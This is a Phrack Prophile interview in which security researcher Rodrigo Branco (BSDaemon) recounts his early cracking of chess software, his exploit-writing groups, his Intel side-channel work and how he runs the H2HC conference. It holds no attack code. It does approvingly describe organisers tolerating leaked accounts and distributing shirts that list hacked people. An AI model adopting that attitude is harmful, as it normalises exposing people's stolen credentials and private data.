LhYz90xUcYvneY9Q4krWJbenppyo3cFJwqy+lcDNjRZLGadGbX3hiHDYc02kjGGT BW2o+b6jy9sBT2KeWEuW9JFO1S1udN11mzRkA4klH0x1FpPbU1nuamu5er/GXilL qgsCJCoi+nLkYl2yfZQVeERTzfpJ8wq/K2xWGKhk617XPVZQ7C76fyUYBnkoXvfD AfEGcp0JREUAjsHlbr9cyNNVa5T0Tgv2b20UNf1MGdoy9aYufPbpfrZekKtHaaNL S0qKQ8sK5DMfZyWRrgn+zizQNUtoEPgdXwTM2aGs66iKVzAnI2joCu0lTdrDR0Di Ph+uuMgss9MBff2QmghPXbZ+7L9zLf0VPWW6wUZJuH2TdEeZAbj1pJSGsjzUHJYR 2ldVc4mVLr3vAkcaiD4PZ20HnBQrrMhHNmhUcpgw

=2t8m

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Phrack Prophile on BSDaemon

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x02 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON BSDaemon ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Specs

Name: Rodrigo Rubira Branco (I blame rcvalle for convincing me long ago to make my name public ‑ at least I've changed my handle before associating it with my name, so clean slate)

Handle: BSDaemon

Handle I was originally a NetBSD fan. It was only later, while Origin: working for IBM, that I started appreciating the qualities of Linux (as in: messier code, but with deeper support for specific hardware characteristics and capabilities)

AKA: All buried in a long distant past. Let cert.br cry and complain about it :)

Country: Brazil

Website: https://www.kernelhacking.com (but it is old, not updated and

ugly) https://twitter.com/bsdaemon

GitHub: https://github.com/rrbranco/ (in theory I would post all

presentations, papers, etc... in practice, I'm super disorganized and often forget to make a copy of things there)

|=‑‑‑=[ Background

Not exactly sure what to say. I started using computers really early, but it was by the age of 10 that I took them seriously. Because I was so young, no one would accept me in programming classes, and I somehow really wanted to learn C (the reasons on why that obsession started are now lost in history). My mom visited all kinds of training facilities to see if anyone would take me, and someone finally suggested that I just start using Linux because it was open‑source and I could learn by myself.

There was no 'security industry' at the time, and I started doing more and more low‑level things mostly because of cracking (I've played chess since I was 4 and was competing in national and international championships til at least my 16s. The games and databases were too expensive, so I learned how to remove their protections, for me and for my friends. There was no software protection laws in Brazil at the time, so my family was actually very proud of it). I would say that because of chess, I've developed a good ability to endure 'pain' (or frustration), the ability to focus for many hours, and even a way of looking at the problems differently (I can't really explain it, but it is a way of correlating things to derive new ideas).

Those things are still what I would say are my strengths. Also because of chess I was able to study in a really good primary school (my family would not be able to pay otherwise and public schools are not very good in Brazil), which gave me a great opportunity to study in a different kind of high school (we call it a technical high school, which is essentially a high school, which besides the usual curriculum one also learns a profession ‑ in my case, Information Systems. The school is public, but because it is full time and one of the few excellent options, there is a tough acceptance test, making it harder to get in than even some of our universities). The technical high school was great, because I had access to big Unix computers and very high speed internet.

Given my familiarity with low‑level programming and Linux, I was invited to intern at the school and later at the university (giving me even more access to such systems). The university used PowerPC (AIX), so I started porting tools to it (and given they had a bunch of HP‑UX they were not using, I also started porting things to HP‑UX) ‑ I guess now people will understand why years later I wrote so many exploits for those platforms. Maybe it is worth it to mention that I also studied in the Airforce Academy in Brazil (ITA Instituto Tecnologico da Aeronautica). The way I got in was hilarious: they invited me to give a talk about polymorphic shellcodes, a research area where I was one of the early pioneers. After the talk, they invited me to join a project for a secure, embedded OS. In exchange they accepted me to study there. I must say it was really important in my life.

I've learned the importance of the formalization of knowledge, theory and math thanks to outstanding professors. I still can't believe no one kicked me from there, given how much trouble I caused (for example, smuggling alcoholic beverages onto the base ‑ the University is inside the Technological Command of the Airforce, essentially our main airforce base).

At this point, I'm probably jumping over a lot of things in the timeline, but something worth mentioning is that I met a group of folks online (already in IRC) and that really changed everything. We started writing exploits together, and exchanging information and ideas for many years (our group name was Priv8 Security and later because only a few of us were active, we separated and created the RISE Security group). At some point, we decided to meet face to face and we organized a meet‑up (2600 meet‑ups), in Sao Paulo. We chose Sao Paulo even though many of us, including myself, were from the country‑side or even from other states. We also interacted and exchanged exploits with many groups from abroad.

Remember that there was no 'value' for exploits, and it was basically for fun and not for profit (even though many groups were known to use exploits to compromise systems). It all started to change quite suddenly. I still remember when iDefense paid USD 4k for a remote exploit on AIX. It was more than a year of my salary at the time. And they did seem quite legit, so it was hard to comprehend the reasons. That is also when security research became a 'thing' and suddenly there were full time jobs doing just that.

A few things to add, but again jumping a lot, is that security research conferences started popping up everywhere, and it was possible to travel around presenting some (hopefully good) research. This opened a lot of doors, to meet even more people focused on different research and also for work. I ended up having a short experience of working in UAE and just after that, Israel (yes, what are the odds?). I've been living in USA for the past 13+ years though (I've moved originally to do my PhD, but ended‑up accepting an offer from Intel).

|=‑‑‑=[ Inspiration

I'm really inspired by the real community. And I talk here about 'real' because it is very different when someone does things for others versus when they do something for themselves. I believe the real community spirit is about others, it is about the sharing of knowledge, it is beyond a career or individual benefit. It is sometimes, detrimental to it!

I love hard challenges and I do my best to make a difference to the world. I guess as we get older, it is harder to keep that passion alive, and it is hard to be so naive as to think that we can change something major that makes an impact. But I do my best to consciously remember that sentiment and feeling. I do not believe in heroes, but I do admire certain actions and takes by others. So, here is a few:

‑ Richard Feynman is a major example for me (especially how much he criticized the systematic stupidity of the "system")

‑ Mikhail Botvinnik (world chess champion), because even after being the world champion for 3 times, he would still listen to radio chess lessons in order to never forget the 'fundamentals'.

‑ Garry Kasparov (before he became basically a politician). I still remember when he was interviewed for a piece 'A day with the world champion' and the reporter went swimming with him. After a few hours swimming, he asked Kasparov if they could stop, since he could not do it anymore. And Kasparov asked: 'So you give up?'. The competitive spirit and obsession with being the best in whatever one does is inspiring. Interestingly it also reminds me of a passage in the movie 'Gattaca' in which someone with 'inferior' DNA goes swimming with a 'superior' individual and after some time the superior individual just can't anymore. When he wonders how the other could do better than him, the answer was simply: 'because I was not thinking about the return'. Dedication *is* the advantage in my opinion.

‑ Alexander Kotov. He wrote a book 'Think like a grandmaster' in which he explained the literal thought process for considering multiple variants and comparing possibilities in chess. That became my baseline on how to even study a given topic. To me, it is impressive how much impact someone can have by simply stating how he does trivial things (such as thinking about a problem).

But I believe I was blessed (or lucky, whatever word fancies you) on meeting great people along my journey. I still remember some of my bosses (that literally had to 'manage' me so I could still be myself and not get in too much trouble), professors that dedicated their time to help me value things that before them I (wrongly) thought were not important. And friends, that believed in crazy ideas and helped me make them a reality! Without pirata and coideloko I believe I would not have had half of what some consider my 'successes'.

|=‑‑‑=[ Early Influence:

Ouch, I guess I gave too much of this part in my background :)

I do want to say that my parents, as any other human beings, had their limitations, but they really loved me. My mom went completely out of her way to try to support me. She frequently admitted that she had no idea if the 'how' was right, but she did bring me to chess championships, fought for me at the school, incentivized and believed in me. I still remember when my father brought me in a trip to Sao Paulo, to teach me how to do this myself. He told me how important it would be for me to have access to things in the big city and how I could do it without spending much money at all (like, taking the overnight bus to avoid a hotel, sleeping in the bus station since it was 'safe', going to used book stores in the 'Liberdade' neighborhood, etc). While they did not speak to each other, my parents did a ton for me.

There was also a director in my high school that I can't even begin to fathom the impact he had in my life. For some reason I was 'done' with computers, I decided it was all stupid and that I would go for another profession. One of the 'private' high schools in my area offered me scholarship (again because of chess). So I decided to abandon the course. My mom spoke with him, and he literally came to my house to talk to me. I do not even remember what he told me, but he did convince me to continue in the course. What would have been if he was not willing to go completely out of his way to help someone? I mean, it made no difference whatsoever for him. No real benefits.

Funny enough, on hacking my main inspiration were the folks exchanging information with each other. That community and group of friends kept me going deeper and deeper into topics, trying to be an equal made me better. I do want to give a shout out to pipacs and spender: Even before I knew them (and eventually became friends), I've learned so much from the code that they were developing and sharing freely. The pax‑future.txt is just it, crazy! Literally he foresaw the future. The phantasmal ('malloc maleficarum') paper was another relevant one for me (I like everything in it, even the style of the write‑up and the title!). w00w00 write‑up 'On Heap Overflows' was a simple write‑up but with big consequences (I think it was the first time that I had started considering adjacency and how to force data adjacency ‑ the opening of the mind for a new idea, I guess).

As a final one, I need to say that Shay Gueron and Sergey Bratus also completely changed me. Shay Gueron I met at a time that I was bored with Intel and wanted to leave. I met a random person at a party that told me to literally email Shay Gueron and ask for a challenge. I never met him before that, and I sent the email along the lines: 'Hey Shay, we've never met, but I've just met person X and they told me to ask you for a challenge... I'm super bored at Intel and will leave if I can't find anything interesting to do'. He literally replied to me with something like: 'Nice, have a look at this and let me know what do you think'... and sent a few lines of pseudo C code with it. The code was something along the lines (probably a bit more elaborated, but not much):

```

variable=rand();

if (variable == <SOME LARGE VALUE>) // can we find a case in which this

could predictably happen?

printf("\nsuccess\n");

```

I remember looking at it and my first thought was like: 'oh no, another typical Intel employee... I'm out of here.'. But something did not bode well with me. I could not stop thinking: 'what if I'm missing something?'. The worst that can happen is for someone to think another is stupid, when the one thinking it is the stupid one :). After all, I had looked Shay up. He was *VERY* accomplished in crypto. And at work, he was actively writing assembly code to implement the algorithms, etc. It had to be something that *I* was missing. And it all suddenly clicked! Here is what Shay was telling me without words: In a system in which the memory is encrypted, any memory changes are the same as random for an attacker (therefore, variable=rand() is a way to say that the attacker has an arbitrary memory write primitive, but of uncontrolled data). The if condition was basically a way of asking: "are there any cases in which arbitrarily writing uncontrolled data to memory will be in a predictable location and therefore advantageous?". Shay, without having any exploit‑writing background had the instinct that data‑only attacks are possible. He also had the instinct that we could find the locations predictably, even though we could not 'see' the actual data. The collaboration with him in that research was mind blowing to me!

Sergey Bratus I met at the first Troopers conference, in Munich. I remember sitting in the dinner by his and djb's side. They talked math and software security the entire night, and I just silently sat there absorbing as much as I could. Along the years, I've had the privilege of becoming friends with Sergey. His ability to abstract an instance of a problem into the general class of problems is impressive. It helped me change my perspective. Also, his overall knowledge of the world incentivized me to look beyond just computers.

|=‑‑‑=[ Favorites:

[ Favorite things (books, websites, exploits, people, software, music, other things you're comfortable sharing) ]

Books ‑ super hard to do a top5:

‑> Think like a Grandmaster

‑> The Art of Software Security Assessment

‑> Surely Your Joking Mr Feynman

‑> The philosophy of set theory: An historical introduction to Cantor's Paradise

‑> The Art of Computer Programming

Websites ‑ phrack.org (and follow the links of each article?)

Exploits ‑ My favorites keep changing. Public exploits are unfortunately lower in quality comparatively with the past. Chris Valasek IIS one (presented at Infiltrate) is still one that I have to praise (given that I've looked at the bug and thought it was not exploitable at all). Mark Dowd's work on null dereferences in user‑mode applications is another one that comes to mind. Qualys has been doing crazy good work recently, and the qmail one has a special place in my heart.

People ‑ I guess I said it in the other segments, but pirata, coideloko, Shay Gueron, Sergey Bratus are on the top of my list (many others, and not including the dead since they won't mind not being in the top list).

Software ‑ Open‑source. Maybe I would include IDA in the non open‑source list, just because Ilfak is an awesome person.

Music ‑ I do not listen much to music. I like Brazilian country and forro. If I had to listen to something while at the computer (like in a noisy, public place), prodigy (given no lyrics).

Other things ‑ I could share: my favorite guns and military vehicles :) But that is way better over drinks. So my favorite drink is Jack Daniels (I drink to get drunk, and Jack Daniels is available anywhere and is cheap, thus my criteria). On the personal side, my favorite things are my kids and wife. If it is about my own accomplishments, while what one is proud of will change over time, I will always remember how happy I was when:

1‑) I had my first Phrack paper accepted (On SMM rootkits). I started the research because the Intel manual had a sentence about what the SMM is used for and it ended with 'and other purposes'. And I just could not find any other purpose that was publicly documented!

2‑) I got a Pwnie, and to me it is extra special for under‑hyped research. I don't like hype (the bug is an IOMMU bug that is very complex, and pirata and I wrote a full exploit for it only because everyone at Intel was saying it was 'too complicated to be exploitable'). Somehow someone else that was not involved at all got credited to the bug as well, but it does not matter, still fun and credits are multiplied but not divided anyway! 3‑) Best Offensive Work: I guess it is a non public thingy. I'm proud because it was relevant and used/useful. I believe it does impact the world. 4‑) The number of folks that tell me I've helped them in someway and it changed everything in their lives. What they keep doing and will be doing, and the ones they will impact and affect are way more than I could ever be able to do myself. This means that for me, H2HC (we will talk about it later) it is one of or maybe even the biggest contributions I've ever done. When I remember speakers that never gave a talk before and I helped them construct their argument, organize their research (sometimes even finishing their code, fixing bugs, re‑gaining motivation), people that met and worked on projects together, etc... it is impossible to not be proud!

And even if it is all an ego thing, and maybe none of the above is really impactful to the world as I like to believe; somehow it is the ego thing that keeps me going, keeps me motivated, and maybe even sane!

|=‑‑‑=[ Memorable Experiences:

I've shared a few in the other sessions. But I can give some disasters as well :)

I still remember my first talk in the Emirates. I always get super nervous before a talk (even though I have a lot of experience at this point, I still can't sleep for days). After my talk, a 'dude' came to talk to me. There were a few guys around as well, but I was paying attention to that person. He told me something like 'great talk, I really enjoyed it... one of my favorites of the conference' (or something like that). I was so happy, mixed with the 'calmness' after the talk is done, I hugged him in appreciation! And suddenly all the other dudes pulled me aside there was a lot of stress around. The conference organizer came apologizing and I could not understand what I did wrong. Well, the guy apparently was one of the 'higher‑ups' in UAE and the others around were his bouncers... apparently you are not supposed to hug authorities.

I probably have way more of those experiences than I should have. And I still continue somehow to put myself in awkward situations, so I just have to accept that is part of who I am and sometimes it is a good thing, you know? Way too many 'professional', 'by the book', and essentially 'false' people out there.

I will share a few technical examples. I once reported an LPE bug, with an exploit and everything. I tested running everything as root on that system and did not notice it was dropping privileges. It taught me to not rush on results, no matter how excited you are. And the importance of good peer‑review. The worst of those I think was when I ported a PaX feature to PowerPC. pipacs and spender were super nice guiding me, reviewed a write‑up I had done, everything. They probably spent more time guiding me than they would have if they ported the feature themselves. I've done some kernel modules to test things, and I was running in Qemu and on an old Powerbook to test. After all those tests, there were a couple more places that had to be instrumented. And it was essentially the same instructions, so I just added the instrumentation, but did not re‑run everything. One of the instructions was slightly different. Literally, it was just an extra 'o' in the instruction to use the overflow tracking we needed, so trivial. But not :( It broke shit up, and the worst is that they were blamed for it. I felt terrible.

|=‑‑‑=[ How did H2HC come to be? What were/are the initial/current |=‑‑‑=[ challenges, and how do you see the future of it?

Hackers to Hackers Conference is in its 21st anniversary this year. The conference was really an idea of two friends, dum_dum and dmr. They wanted to create a conference so folks who knew each other only online would be able to meet. Also, at the time most security conferences were only 'defensive', so they wanted a high emphasis in 'offensive' content (and real research). From the get go they invited other friends (I believe it was a total of 8 folks). And reached out to other security research teams in Brazil as well.

As I mentioned earlier, we were organizing the 2600 meet‑ups in Sao Paulo. When they told us about doing the H2HC (it was in Brasilia, the capital) for the first time, I submitted a talk (about polymorphic shellcodes). When I arrived at the hotel, the day before the conference, there was no reservation. It was the middle of the night, and I did not have actual contacts from anyone (other than IRC and handles). I asked at the reception: "Hey, have you seen dudes that look crazy, all in black, full of computers around?". The guy told me they were in a room. I asked him to call the room, but given it was middle of the night, he did not want to. I told him I bet they would all be awake coding. He called, and they were. I stayed in that room. With 7 other people! (A room for 2). The event itself was as organized as that (and maybe still is). Lots of folks did not have slides ready at the time of their talk, people had no idea which rooms to go, etc. Since I was there with them, I helped. So I kind of was 'part of the organization' since the first edition, even though it was mostly there, on the day. They officially invited me to join the group for the second edition, and I did.

Things went well and we are all still friends (I call them 'originals' and I still gather their feedback and opinions on how the conference is going. I feel they are the way to keep us focused on the original intentions). While everything was decided as a group, it was clear that certain things were more complicated than others (like paying for things upfront). There was also concerns about having sponsorship (how do we guarantee that sponsors are not going to 'influence' the direction of the conference? The amount of work needed, etc., all make it super hard to be efficient with so many people discussing everything. So by the 5th edition, I told the folks that I wanted to leave. They discussed and voted that I should actually take over, with the promise to keep the conference in the same spirit. I then invited coideloko to help me out, and we are still at it (with pirata now growing his responsibilities even more as well). We are still non‑profit (now with an official non‑profit org behind the conference). We still have a technical committee that has veto power for any talk submission (so even when I want to invite a speaker, once I get the talk information I pass it thru the committee as if it was a submission). Sponsors do not have sponsorship slots (we did lose sponsors that insisted, because some get offended when their 'executive' talk is not accepted). We believe that the right sponsors understanda that this is a community event.

We emphasize the collaboration within the community. For example, we want our sponsors to have interaction that makes sense (like last year we had a tattoo shop for a sponsor ‑ it is crazy to think that some people actually tattooed H2HC!). We do plenty of activities and workshops and try to unite the communities. I've managed to reach out to the Slackware folks (lots of Slackware developers in Brazil) and one year we even did a Slackware conference as a sub‑track inside H2HC. BSides in Brazil also started as a sub‑track in H2HC (since the first couple years is hard for a conference, given they can't get sponsors without having some attendees, and that means up‑front money, we just gave them the space for free). We do everything we can to bring knowledge to people, Like this past year, we had a legacy BIOS workshop for free. We do not charge 'book houses' that want to exposÃ© in the conference, we just ask for 'free books' that we donate. Additionally, while our tickets are really cheap (around USD 50 when we open registration), we still donate a lot of tickets for those that can't afford it (and should be there). The conference is also open bar (with whiskey, beer and soda), given that we've always believed that helps with the mood (non‑surprisingly, while there are a few cases of conflicts because of it, mostly it is uneventful and positive).

I believe the main challenge is really my age :) You see, keeping the community connected means that the different generations need to be comfortable and collaborating. We have outstanding parties for our speakers. It gets harder and harder to be in the 'right' rhythm. Things that everyone can enjoy in their own style. We are getting more and more help though, so I'm hopeful.

Security is mainstream. Security Research became a profession. But many just cannot differentiate it from hacking and the community. They are not the same. We want the community to flourish because we believe in knowledge for all. That means the 'security industry' should benefit because there will be talent available, but it is *NOT* our purpose to benefit that industry. Some sponsors understand that, some struggle with it. For example, we have the famous 'bathroom leak'. We have no idea who started it, nor why. We do not even know if it is the same person or group of persons that keep it. But essentially every year, in the bathroom there are 'leaks' (usually accounts from famous people in the security industry, or from companies, etc). Maybe it would be possible to find out the perpetrator(s) with properly setup cameras and monitoring or whatever. But while we do not help, we also do not do anything to prevent it. There was a year that a group sent t‑shirts, that had a list of the folks they pwned and published information on. I literally just got a box of t‑shirts delivered to me at the conference. No one explained to me why, nor told me it was going to happen. But we got it and we distributed it :)

Some people have a hard time understanding that is what a hacking community is. Hacking is about community. It will defy rules, and trying to control defiance only kills that spirit. You end up with 'technical committees' that have very few actually technical people in them. You end up with sponsors controlling not only talks that they pay to have, but also talks that they do not want to happen. Having a little bit of chaos helps everyone have that stronger community. And from there, a lot of talent comes out, many of which will not do those more 'dubious' actions. If you do not understand the actual community, if you are not part of it, give a bit of leeway to those that are. Reap the benefits from it. Don't try to change what you do not understand (which by the way applies to all things I guess ‑ change stuff, but first understand it).

|=‑‑‑=[ What is the achievement you're most proud of?

My kids. My marriage :)

Professionally, I believe I've managed to create great teams, that really believed in what they were doing, that did what no one else could do before (and in some cases no one else could do again after) and that worked truly together with healthy competitiveness (as in, having fun). My one rule is that everyone should be having fun together (if we make fun of someone, is that someone making fun of us the next joke around? as long as the fun 'target' and 'origin' keeps changing fairly, it is game on). I am proud to say that I'm a professional that does what I believe in, and I have fun doing it, and I do it because it is right. I do not do it because someone else told me; I do not do it because it is good for my career; I do not do it because it looks good. It is hard to be like that. Many consider it 'unprofessional' because I disagree and fight, instead of 'disagree and commit to bullshit' (notice that the 'bullshit' part is important, because sometimes there are multiple paths to the same end‑result and fighting without progress is also bad).

For the community, I am sure it is H2HC, my contributions to other conferences (OffensiveCon, LangSec, and others in the past) and my mentorship to folks.

To the world? I believe I've done a lot while at Intel. A lot got reversed or lost too, which is unfortunate. Still, many more years of incompetence will be needed to destroy everything.

|=‑‑‑=[ What is something you are not proud of?

I think I've burned a lot of bridges while trying to do something that I was certain was critically important for the survival of the company (specifically, talking about Intel and side‑channels). I was told many times by multiple Senior VPs and Executive VPs that the side‑channels represented a life‑or‑death situation for Intel and were the biggest issue facing the computing industry in the past decade.

Intel is a slow company, but a very humane one (as in: with the exception of the layoffs, there is very little chance of someone getting burned out or in real trouble). We had to learn a lot of things we didn't know, test a lot of things we did not have access to, in a lot of different setups we've never done, all while engineering mitigations for a lot of different use cases that we did not dominate. All while navigating the slowness, bureaucracy, and with lawyers involved in everything (as in: emails to my boss had to first be sent for legal reviews).

My take on this was: I will make it happen, even if I had to go through people. The rationale was simple: If I don't and the company ends up bankrupt from the lawsuits, that same individual will be without a job anyway. In my way of thinking, someone upset by me was way better than a hundred thousand without a job (plus all the millions of affected users). It was really a no‑brainer. In the best Gattaca style, I never thought about the return (as in: what is going to happen once this is all behind us? Will you be seen as the person who did what had to be done or what?). I believed so much on it, that I did not even think about myself (besides many people warning me, including my wife). I was adamant that it was the right thing.

So I've worked for 2 years and a half, a minimum 14hrs a day, including holidays, weekends. I postponed my honeymoon to be at Intel; I was there on Christmas, New Year's, etc. I remember sometimes getting home at 3am, to wake up at 5am to brief a Fellow on the results of the day, so he could brief the CEO. While some in management appreciated it, some did not care at all (they were just waiting to retire and get out with bonus retirement packages). Given I had no 'return' plan, once most of it was behind us (and it was clear that the lawsuits would just die down and that everything was 'under control' ‑ not that it was solved, but that it was not a risk anymore), the only person working on that different rhythm was me. All those 'burned bridges' started hunting folks in my team (it is funny how things go in big companies, because people were still too afraid of attacking me directly, so they were damaging others in my team as a way to get to me). That made me decide to leave, to try to help the team. Which created another wave of problems, because most decided to leave with me (which was another unexpected consequence). It was a mess.

|=‑‑‑=[ What would you like to see published in Phrack? Your VDT article |=‑‑‑=[ from 2010 is really good.

I wrote an article a few years back with Sergey Bratus and James Oakley (his student at the time) that got accepted for publication at Phrack and later got 'declined' because it was a 'new technique' but we did not have a real bug in which applying it was 'advantageous'. James and Sergey's research was on dwarf internals and the paper extended that to also explain how gcc called the pointer to the dwarf section, so we could use their 'dwarf compiler' to create kind of an injectable shellcode. Even if the technique made some real bug better, it was going to be killed by the compiler anyway (since it is just a matter of making it RO like relro mitigation does and it is what the compiler ended‑up doing). But the research is super deep into the internals of how that works, and I believe that is the spirit of Phrack.

That VDT article was a bit of a shame. The work is amazing and Julio Auto, who is the main developer of VDT, should have been an author. I wrote it and sent it to him to review but he never replied. I ended‑up adding an ACK and he was the first name in the tool, but many people just look at the 'article author' and ignore the rest of the credits. I was aware of the timeline and did not want to add someone as an author when they did not even review the text (because I could have said a lot of things wrong, who knows).

The collaboration for that research started many years before, and was outside of VDT. We worked for a company in UAE, doing vuln‑dev. coideloko was part of the team too. He he had performed some kind of forensics work in a large company, and had a lot of recovered files that were crashing Office. Different than files that are generated while fuzzing though, we had no idea why those files were causing crashes. Some crashes looked promising, so we started brainstorming how we could analyze. Bisecting is not very effective when the format is not fully well understood (and we did not have code to look at the different pieces). So somehow we came up with this idea of tracing back from the crash to the input (since it was easy to see where the file was mapped in memory). We made some progress while there, but coideloko and I left (and Julio left shortly after too) and each of us went our different ways. A few years later I met Julio at another conference, at which I stayed in his apartment, so we exchange notes on the progress (he was working on a Windows based tool, while I was working on something based on Valgrind since I was doing more Linux based things). Years after the article I worked on some improvements to the idea to show how it could progress (together with Rohit Mothe) ‑ we called it DPTrace (the idea was to have a dual connotation), but the tracing would go both forward and backward, and in the forward path would do allocations and change the state at the crash moment, based on what it knew it could do from the backward view. Our PoC worked and was useful (we've shown it against real software and some of the results in the write‑up), but the overall work still has a lot to be done. It is a topic that I love and hope others would jump on and make forward progress.

|=‑‑‑=[ What is your favorite bug/exploit?

We've covered it before.

|=‑‑‑=[ Will mitigations eventually make exploitation impossible?

I do not believe so. But they are making it much harder, potentially forcing it to be done by 'teams' versus 'individuals'. Currently, at our state, I would say the hardest targets already require such level of collaboration. I've been telling people that I already see most of the top exploit writers work for the government (or contractors) versus industry. That is a shame, and I guess it is a part of the reason why some have takes such as 'the community is dead'. I do not think the community is dead. There is plenty still going on. It is just different. And it is again more obscure. So what is probably dead is the visibility that some had to those communities.

|=‑‑‑=[ Would you recommend newcomers to contribute to open source projects?

Yes. Open‑source and hacking are extremely related ideals. The idea of removing control over the knowledge from the few, the idea of sharing, the idea that there are alternatives to the mainstream system imposition. It is funny that the fact it became mainstream (and polluted) is also common to hacking and open‑source communities.

|=‑‑‑=[ How has H2HC evolved over the years? What do you enjoy about |=‑‑‑=[ organizing a conference?

I think we did not evolve per se, we've kept the same spiri and ideals, but manage to do it at a larger scale. Somehow we've survived the many modern pressures that break such endeavors (or change them). Like social media presence: we have it, but we have it differently. It is a bit chaotic, but we oftentimes have something fun (and organic, like folks having these crazy initiatives ‑ like the video Mario Game modified with H2HC in different phases or the super boy modified rom with the map being the conference venue).

What I enjoy? Meeting outstanding people that otherwise I would probably not have a chance to meet. It is the chance to see the best of the best as humans, and interact with them as equals (even though they are obviously better than me). Finally it is getting the simple feedback that something changed in someone's life thanks to that effort (even though my contribution is just to make it happen, to let the right people shine and present what they did). An example was in the past year, I was at the elevator to go pick something up in my room. A guy entered the elevator, looked at me and asked if I was Rodrigo, the organizer. I said yes, and he smiled and said that a few years back I gave him a ticket to attend. At the time he worked in construction but was studying computers on the side... and the conference inspired him to make the jump and now he had a great job and it changed his life forever.

|=‑‑‑=[ Your opinion on the infosec scene now vs then

Infosec is, unfortunatelly, a circus. That is why the theme for H2HC this year is a Cyberpunk Circus. It is kind of a tribute to the IA‑crazy (after the many other crazies). It is a tribute to the fact that unfortunately career folks are taking over truly passionate people. It wasn't much better before (I started my career as a programmer because security was just about installing firewalls). Somehow I see more unethical things happening in InfoSec than in any other area, even though it is a field that is supposedly built on trust.

|=‑‑‑=[ Your opinion on conferences? Are they too big, too many? Is there |=‑‑‑=[ still a way to find that old vibe being productive while partying?

I think we have too many. That means it is harder to survive (as a con) while doing the right things, and it is harder to select as an attendee. Given that there are a lot of commercial incentives too, it all became a mess. Like if you want to present research, Black Hat has a lot of visibility, even though its quality has dropped terribly in the past few years (as folks joke, Black Hat became RSA, Defcon became Black Hat ‑ and all of that is a shift towards worse not better).

It is almost like you gotta be at the big ones, because everyone is there anyway. Then you also gotta be in some niche ones, because that is where the good things really are. Then you gotta be in new ones because you want to support their existence. But then you also gotta be in some of the old ones that keep the old vibe, because you want them to continue existing. It is too much really. I really miss PH‑Neutral. And I feel bad that I can't attend the ones in Russia for now and probably should not attend the ones in China either.

We do have OffensiveCon with exceptional technical content and great people, but it is expensive (and hard to get tickets). SummerCon is still going too. But I'm just glad that Phrack is back, hopefully with a more constant cadence, so once again great research has a home.

|=‑‑‑=[ Recommendations

Technical Books: [ Are there any technical books you would recommend that helped you learn some skills ] Non‑Technical Books: [ Are there any non‑technical books that you would recommend everyone read? ]

I guess the same ones I've said before. Plus Intel and Arm manuals.

Researchers: [ Are there any younger generation researchers that impress you? Who's work should we be following? ]

Project Zero, Qualys, Quarkslab are publishing really top notch work. Keeping an eye in OffensiveCon speakers too. And as usual, Phrack authors.

|=‑‑‑=[ Reflections

Hacker Spirit: [ What would improve the continuation of the hacker spirit? ]

I still believe that real hacking is a sub‑culture. It is not what the mainstream shows and it is not the research work, even though the research work has some (or even all) of the technical aspects of hacking. Hacking is more about challenging the status quo, knowledge, and freedom. That is not something that can be easily destroyed. Usurping terms or methods does not make anything a part of it.

Exploit Industry: [ What are your thoughts on the hacker‑military‑industrial complex (exploit industry)? ]

Unfortunately, it is where most of the capabilities for vuln‑dev currently are. There are still folks in that complex that believe in hacking and community. I somehow still believe that hacking is different than profession, no matter what the profession is or how close to hacking it might look.

Early Programming: [ When did you start programming and what were your early influences that turned you to the dark side? ]

I started writing in C at about 10 years old. I was doing small scripting and logic before that. I guess breaking things was just a result of natural curiosity (and need, if you consider cracking also breaking).

Career Burnout: [ How did you stick with a career in security without getting jaded or burnt out? ]

I honestly think thus far I've been blessed (or lucky). Somehow at critical junctures in my life, the moments that really make or break, there was someone that held things together. Like at Intel, before all the craziness, I remember someone in a meeting called me a 'child'. The next day I showed up for a follow‑up meeting with 'marvel superheroes themed shorts'. Obviously I've had many human resources discussions over the years because of this kind of response, but someone was there to navigate me through. Like once I told a co‑worker that I could teach them something, but I could not learn it for them (because they refused to read a paper that I suggested so they were better informed before a meeting to discuss the topic). Human resources wasn't happy with my communication style, but at the same time, they were very understanding that when someone is openly refusing to read because they prefer to do a meeting, it is hard to teach them. I do not recommend others to follow my style, but I do think that if you go deep enough into problems, if you really care and work hard, some people will understand and will try to help you. Especially if you clearly are not just an asshole with everyone; you just do not like certain behaviors and do not accept them.

|=‑‑‑=[ Insights

Hacking Milestones: [ What's one thing every hacker should do before they are 25? What about 40? ]

Read the manual of your preferred architecture (hopefully Intel or ARM, but I guess RISC‑V/MIPS is acceptable). Read Knuth's Art of Computer Programming (do not worry too much about fully understanding it, just be aware of how much there is that you simply do not even know enough to be able to properly understand). Read the Art of Software Security Assessment and remember how long ago it was written (that is both humbling and excellent learning). Finally, find bugs that were published and work on them. Write an exploit, understand the bug, see the nuances, come up with ideas. Do not look at the exploits til you've tried, but do look if you get stuck. It is all great for learning. And I guess there is no age. Do not let excuses get in the way of what you love. And if you do not love it, be honest with yourself... do not do it because it is 'cool' or 'pays well' (it won't be cool and it won't pay well because you won't be good at it).

Nontraditional Hacking: [ Whatâ€™s your favorite form of nontraditional hacking something that doesnâ€™t involve computer security? ]

